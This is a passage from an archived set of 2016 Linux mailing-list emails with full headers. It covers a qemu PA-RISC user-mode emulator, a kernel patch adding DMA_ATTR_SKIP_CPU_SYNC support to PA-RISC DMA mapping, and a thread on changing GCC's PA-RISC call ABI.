         TxkojBNQJ3sfbZWi4vPT/iTDnnTdkd5XEEqJKKmh16RbqXEmixxoyIg3ePZgBtp5c3uO
         bbHA==
X-Gm-Message-State: ABUngvf27k7WnnBNzrUMEKCprz9wpuCbZZMl/A4KA4wlMuCWiGmzA3fIaQTmCOw5Pxz14Q==
X-Received: by 10.194.142.243 with SMTP id rz19mr3372227wjb.132.1478770738286;
        Thu, 10 Nov 2016 01:38:58 -0800 (PST)
Original-Received: from bigtime.twiddle.net ([87.111.149.139])
        by smtp.googlemail.com with ESMTPSA id i10sm4447294wjd.15.2016.11.10.01.38.54
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 10 Nov 2016 01:38:57 -0800 (PST)
In-Reply-To: <trinity-8a5a9da3-1e08-4571-bbfb-b230bd20f15b-1478703076818@3capp-gmx-bs52>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27041 gmane.comp.lib.glibc.alpha:66978
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27041>

On 11/09/2016 03:51 PM, Helge Deller wrote:
> Hi Richard,
>
>> Off and on, I've been working on a user-only target of hppa to qemu.  It's now
>> about 95% working.  If anyone would like to try it out, it's available at
>>    git://github.com/rth7680/qemu.git tgt-hppa
>
> COOL!
> I'm happy to test, but can you shortly describe the required steps how I can build & test it?

Check out the indicated branch, configure --target-list=hppa-linux-user, make, 
install.  qemu-hppa will be the user-mode emulator.

>
> With "user-only target of hppa" I assume this means that I can run hppa binaries
> on e.g. x86-64, similiar to what is described here: https://wiki.debian.org/QemuUserEmulation ?

Yes, exactly.


r~
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexander Duyck <alexander.h.duyck@intel.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [mm PATCH v3 14/23] arch/parisc: Add option to skip DMA sync as a
 part of map and unmap
Date: Thu, 10 Nov 2016 06:35:29 -0500
Lines: 85
Approved: news@gmane.org
Message-ID: <20161110113529.76501.44762.stgit@ahduyck-blue-test.jf.intel.com>
References: <20161110113027.76501.63030.stgit@ahduyck-blue-test.jf.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1478799418 12036 195.159.176.226 (10 Nov 2016 17:36:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 10 Nov 2016 17:36:58 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: netdev@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, linux-parisc@vger.kernel.org,
 linux-kernel@vger.kernel.org
To: linux-mm@kvack.org, akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Thu Nov 10 18:36:53 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1c4tHC-0001Am-At
	for glkm-linux-mm-2@m.gmane.org; Thu, 10 Nov 2016 18:36:38 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id C09BF28026A; Thu, 10 Nov 2016 12:36:40 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id BB97128025B; Thu, 10 Nov 2016 12:36:40 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id AF4FD28026A; Thu, 10 Nov 2016 12:36:40 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-it0-f72.google.com (mail-it0-f72.google.com [209.85.214.72])
	by kanga.kvack.org (Postfix) with ESMTP id 88C6F28025B
	for <linux-mm@kvack.org>; Thu, 10 Nov 2016 12:36:40 -0500 (EST)
Original-Received: by mail-it0-f72.google.com with SMTP id o1so41341846ito.7
        for <linux-mm@kvack.org>; Thu, 10 Nov 2016 09:36:40 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:subject:from
         :to:cc:date:message-id:in-reply-to:references:user-agent
         :mime-version:content-transfer-encoding;
        bh=Oqq5DARJL4OYVF1FA8ac9jaHDJBmGNy009SvBZqv3Xo=;
        b=TEYBHKpEzEM308F/6bK2MEuFXq6cy1YBcFC9zkXVoqtEnpCDWTtQwFInhebet0nYdf
         6sDR3fiUYFlwj2fZPVU4wOUn9cpRht3EBGeasg+FLRUBAq5rqAvtvWKPMcOQ53yie83I
         yGSZcA6RA4tj1gqSgaxo8f1FrtnHRckikcqJjPufrn1ao0uRtFyJ0ZaGEv7D5Dn14ydQ
         jjWIirHXKUoTQJuqQs8sznPBtXZOSUM7ujPwTokavgMk68kUO3IzUpVU/HGKlnqTk18h
         1XgxYJAJz3tEN4I+gMWf2NW6VrxlFxwYtUknSBStpyERPBPy7h19XxVpSBg5EPMbqzhH
         2n3A==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of alexander.h.duyck@intel.com designates 134.134.136.20 as permitted sender) smtp.mailfrom=alexander.h.duyck@intel.com
X-Gm-Message-State: ABUngvfZcfNkvD4Um7HxnFXsXK6ciKRGqW94z0rLLd1WH4CJfJCAcWkaNso2fscD32C0RE20AVQLrJcwQsd8jfPTLhQ460pn9fkOeLbMrm1n5K7zzg+Z65tMfIYoMMEZf+L30LQ3Zs5XaaRzH/lyvFBMfaqWIrUO+LePU1V0/StV2k4QJOBxRF8ts5ks
X-Received: by 10.107.135.20 with SMTP id j20mr6949838iod.116.1478799400372;
        Thu, 10 Nov 2016 09:36:40 -0800 (PST)
X-Received: by 10.107.135.20 with SMTP id j20mr6949816iod.116.1478799400130;
        Thu, 10 Nov 2016 09:36:40 -0800 (PST)
Original-Received: from mga02.intel.com (mga02.intel.com. [134.134.136.20])
        by mx.google.com with ESMTPS id xz8si5039219pab.182.2016.11.10.09.36.39
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 10 Nov 2016 09:36:39 -0800 (PST)
Received-SPF: pass (google.com: domain of alexander.h.duyck@intel.com designates 134.134.136.20 as permitted sender) client-ip=134.134.136.20;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of alexander.h.duyck@intel.com designates 134.134.136.20 as permitted sender) smtp.mailfrom=alexander.h.duyck@intel.com
Original-Received: from orsmga004.jf.intel.com ([10.7.209.38])
  by orsmga101.jf.intel.com with ESMTP; 10 Nov 2016 09:36:39 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.31,619,1473145200"; 
   d="scan'208";a="29825229"
Original-Received: from ahduyck-blue-test.jf.intel.com ([134.134.2.201])
  by orsmga004.jf.intel.com with ESMTP; 10 Nov 2016 09:36:39 -0800
In-Reply-To: <20161110113027.76501.63030.stgit@ahduyck-blue-test.jf.intel.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:160874 gmane.linux.network:439122 gmane.linux.ports.parisc:27042 gmane.linux.kernel:2346163
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/160874>

This change allows us to pass DMA_ATTR_SKIP_CPU_SYNC which allows us to
avoid invoking cache line invalidation if the driver will just handle it
via a sync_for_cpu or sync_for_device call.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Alexander Duyck <alexander.h.duyck@intel.com>
---
 arch/parisc/kernel/pci-dma.c |   20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 02d9ed0..be55ede 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -459,7 +459,9 @@ static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 	void *addr = page_address(page) + offset;
 	BUG_ON(direction == DMA_NONE);
 
-	flush_kernel_dcache_range((unsigned long) addr, size);
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		flush_kernel_dcache_range((unsigned long) addr, size);
+
 	return virt_to_phys(addr);
 }
 
@@ -469,8 +471,11 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 {
 	BUG_ON(direction == DMA_NONE);
 
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+		return;
+
 	if (direction == DMA_TO_DEVICE)
-	    return;
+		return;
 
 	/*
 	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
@@ -479,7 +484,6 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 	 */
 
 	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
-	return;
 }
 
 static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
@@ -496,6 +500,10 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 
 		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
 		sg_dma_len(sg) = sg->length;
+
+		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+			continue;
+
 		flush_kernel_dcache_range(vaddr, sg->length);
 	}
 	return nents;
@@ -510,14 +518,16 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 
 	BUG_ON(direction == DMA_NONE);
 
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+		return;
+
 	if (direction == DMA_TO_DEVICE)
-	    return;
+		return;
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
 		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-	return;
 }
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev,

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Change call ABI on PA-RISC
Date: Sat, 12 Nov 2016 13:00:10 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1478973684 18641 195.159.176.226 (12 Nov 2016 18:01:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Nov 2016 18:01:24 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>,
        Jeff Law <law@redhat.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 12 19:01:20 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c5cbV-0007J9-2E
	for glpp-linux-parisc@m.gmane.org; Sat, 12 Nov 2016 19:00:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S966565AbcKLSAS convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 12 Nov 2016 13:00:18 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:54391 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S966525AbcKLSAR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 12 Nov 2016 13:00:17 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20161112180010.VBZY7722.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 12 Nov 2016 13:00:10 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by torspm01.bell.net with ESMTP
          id <20161112180010.FJME26085.torspm01.bell.net@[192.168.2.10]>;
          Sat, 12 Nov 2016 13:00:10 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.582758AA.01D2,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27043
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27043>

I'm thinking about adding a "-mabi=" option to change the call ABI.  Currently, objects larger than 64 bits
in the 32-bit runtime are passed by reference and the callee copies the object when necessary.  This is
opposite to x86 where the caller does the copies.  Most targets are caller copies.

The problem with callee copies is that it doesn't work with openmp.  There are race problems and sometimes
we get internal compiler errors with openmp code due to this problem.  This became apparent when new testcases
were added to gcc-6.  It's tough to fix this problem in gcc.

This is gcc PR:
<https://gcc.gnu.org/bugzilla/show_bug.cgi?id=68733>.

This is fixed if we change abi to caller copies (maybe "-mabi=gnu" and "-mabi=hp").  The default could be set
by a configure options.  Probably, we would want the new gnu abi on linux as the default.  However, there is
the potential to break stuff during the migration to the new abi.

Opinions?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Sun, 13 Nov 2016 19:37:59 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479062309 14450 195.159.176.226 (13 Nov 2016 18:38:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 13 Nov 2016 18:38:29 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        List <linux-parisc@vger.kernel.org>, Jeff Law <law@redhat.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 13 19:38:25 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c5zfN-00050o-HS
	for glpp-linux-parisc@m.gmane.org; Sun, 13 Nov 2016 19:38:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934067AbcKMSiL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 13 Nov 2016 13:38:11 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:53989 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932803AbcKMSiK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 13 Nov 2016 13:38:10 -0500
Original-Received: from [192.168.20.58] ([92.203.57.117]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lq9Ma-1cjR9d1oO0-00dlnx; Sun, 13
 Nov 2016 19:38:01 +0100
In-Reply-To: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
X-Provags-ID: V03:K0:gX2kqlW2ZuzvN4jdbog2DS2QRnK2/6alO26AjCO9taaoXmd0MXj
 sCKjzEdDx69Vk16xwYeWXNXAe/lkiOX/xxnMaPUEpvOiz59hp+WOEgpENgpBTgS+1A1wOAS
 bWIxYmGkOcVbFrTo1tY2wwSjjBBEDGDifaTcoM+BPQ6y/R9jsqQ1SWuT1+rXbfPG1Aljurk
 ErC2tAJqXAaCsQ21wks3g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:K3eLcipAwTA=:KdAjvADCfqRfMa1+mXWlq8
 RkXapfPH7VM5daOslH7a2hwq591kqWEtKuDVQLOVjG4eL83wXpJ31tRuteqwqEH51RZkBlBRA
 a9ZfMJjyDX32w4xKg6wCpLxyU+Ljkkh0brojz6q4JVHVqUCKcvB0iN1sLXwbaEl2Rj+lGQ+4x
 ue3sM1MQY46EHiKsBP9k4a0HgWIFBah8b95C+rsctH5N287dBclbM3SNmGnlRK2TEgPobi7Gj
 lxjyEtqRyemJDMWheFsp2ULvixLs3hontLWg7Qsff7ROioMXVksXo2ofgOKuBg55ViFnOPZwa
 G96YwJQXCHgFVSHA8pZDwqIU6fLddZRYw5kTvKiNWSDypl3WcUF51xTXsbad4xEG1g7I3dmXL
 WqYmlx04EgTRXAOyziVNW9WbiiDbQZO7e9V66ouTWLLBSbrFpL3xCroL8Z0ERGT4AlXQFDEAe
 vDstzHxsNAB1x1ELY6n+tlb5poaG/iU6c5phhViiGdfwpofImMCYB3YhBvIACtaCUQGjIgyOm
 n8yzi1Um/SKmL+OcSPqI1vMQVfcsXPLbBWm46tjqzWsheK7XcXYcCZso7mXjMIJQWmCz/yoUu
 oFEH2Q3yeO4NSw533UASqIbxxHRkUDmYoinu/Rkx8ntbJ8n6veAV8f4VRbJWdMLmeQHHxCAau
 /89iYCxvkCtRfG+K6ZcdG278iIDzFfveDQeCGnIRMVmW4thsNxtftK2X7QhRKrPSaiKceq7S4
 CFyFou/QxJti2W6lJgrK36Ty8nYCM5IXVYiTGAueyXtaATAtlr1tlxUL/s9PriSZ6mHgmf7u 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27044
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27044>

On 12.11.2016 19:00, John David Anglin wrote:
> I'm thinking about adding a "-mabi=" option to change the call ABI.  Currently, objects larger than 64 bits
> in the 32-bit runtime are passed by reference and the callee copies the object when necessary.  This is
> opposite to x86 where the caller does the copies.  Most targets are caller copies.
> 
> The problem with callee copies is that it doesn't work with openmp.  There are race problems and sometimes
> we get internal compiler errors with openmp code due to this problem.  This became apparent when new testcases
> were added to gcc-6.  It's tough to fix this problem in gcc.
> 
> This is gcc PR:
> <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=68733>.
> 
> This is fixed if we change abi to caller copies (maybe "-mabi=gnu" and "-mabi=hp").  The default could be set
> by a configure options.  Probably, we would want the new gnu abi on linux as the default.  However, there is
> the potential to break stuff during the migration to the new abi.
> 
> Opinions?

PA-RISC Linux is a niche platform. We always had problems with platform-specifics
which were different to the more widely-used platforms (e.g. stack-grows-upwards, 
more signal numbers (>32) than other platforms, EWOULDBLOCK != EAGAIN, ...).
That said, I like your proposal if we then gain openmp support and if it doesn't
heavily breaks other stuff.

If you are going to change the ABI, maybe we can add more things as well?
Which comes to my mind here is for example an optimized mcount() function 
which allows changing the return pointer (see -mmcount-ra-address on MIPS) ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jeff Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Sun, 13 Nov 2016 11:56:43 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479063440 29258 195.159.176.226 (13 Nov 2016 18:57:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 13 Nov 2016 18:57:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 13 19:57:15 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c5zxL-0002ko-EY
	for glpp-linux-parisc@m.gmane.org; Sun, 13 Nov 2016 19:56:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934316AbcKMS4q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 13 Nov 2016 13:56:46 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:49934 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S934249AbcKMS4p (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 13 Nov 2016 13:56:45 -0500
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 82F62C0567A1;
        Sun, 13 Nov 2016 18:56:44 +0000 (UTC)
Original-Received: from localhost.localdomain (ovpn-116-7.phx2.redhat.com [10.3.116.7])
        by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id uADIuhVd029181;
        Sun, 13 Nov 2016 13:56:43 -0500
In-Reply-To: <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.32]); Sun, 13 Nov 2016 18:56:44 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27045
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27045>

On 11/13/2016 11:37 AM, Helge Deller wrote:
> On 12.11.2016 19:00, John David Anglin wrote:
>> I'm thinking about adding a "-mabi=" option to change the call ABI.  Currently, objects larger than 64 bits
>> in the 32-bit runtime are passed by reference and the callee copies the object when necessary.  This is
>> opposite to x86 where the caller does the copies.  Most targets are caller copies.
>>
>> The problem with callee copies is that it doesn't work with openmp.  There are race problems and sometimes
>> we get internal compiler errors with openmp code due to this problem.  This became apparent when new testcases
>> were added to gcc-6.  It's tough to fix this problem in gcc.
>>
>> This is gcc PR:
>> <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=68733>.
>>
>> This is fixed if we change abi to caller copies (maybe "-mabi=gnu" and "-mabi=hp").  The default could be set
>> by a configure options.  Probably, we would want the new gnu abi on linux as the default.  However, there is
>> the potential to break stuff during the migration to the new abi.
>>
>> Opinions?
>
> PA-RISC Linux is a niche platform. We always had problems with platform-specifics
> which were different to the more widely-used platforms (e.g. stack-grows-upwards,
> more signal numbers (>32) than other platforms, EWOULDBLOCK != EAGAIN, ...).
> That said, I like your proposal if we then gain openmp support and if it doesn't
> heavily breaks other stuff.
The motivation was to allow the callee to avoid the copy when it knew it 
wouldn't be changing the object.  And you could do that through a chain 
of calls avoiding lots of copies along the way.

This turned out to be a huge impact for co-locating the mach kernel and 
OS personality sever within a single address space.  We started that 
research with a pre-bugfix compiler.  During the research I fixed GCC's 
implementation to match the ABI (in response to a bug report I'm sure) 
and didn't think much of it.  When we finally got the co-located stuff 
working and compared it to separate address spaces baselines we'd 
gathered earlier the performance gains were huge and we were exceedingly 
happy.

Of course, I wanted to understand why -- so I dug deeper and eventually 
found that MIG would generate interface code which passed around things 
by-value all the time.  The compiler bugfix essentially allowed the 
compiler to avoid the copy in the callee because the callee didn't 
modify the object.  So we were avoiding a ton of memcpy traffic.

In the end the impact of the compiler bugfix was actually larger than 
the primary effect we were looking for (avoiding context switches, tlb 
flushing, caching effects, etc).

Anyway, as long as the world gets rebuilt and you never mix-match 
objects this should be safe.


> If you are going to change the ABI, maybe we can add more things as well?
> Which comes to my mind here is for example an optimized mcount() function
> which allows changing the return pointer (see -mmcount-ra-address on MIPS) ?
As in twiddling RP to return to a different point?  That's an 
exceedingly bad idea on PA8000 and beyond -- it totally hoses the branch 
predictors.  That's why we turned off the twiddle RP in the delay slot 
of a call to emulate a branch after returning from a call.


jeff
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Sun, 13 Nov 2016 20:48:00 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
 <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479066498 25146 195.159.176.226 (13 Nov 2016 19:48:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 13 Nov 2016 19:48:18 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Jeff Law <law@redhat.com>, John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 13 20:48:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c60l6-0005K2-NJ
	for glpp-linux-parisc@m.gmane.org; Sun, 13 Nov 2016 20:48:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934883AbcKMTsL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 13 Nov 2016 14:48:11 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:52896 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S934461AbcKMTsK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
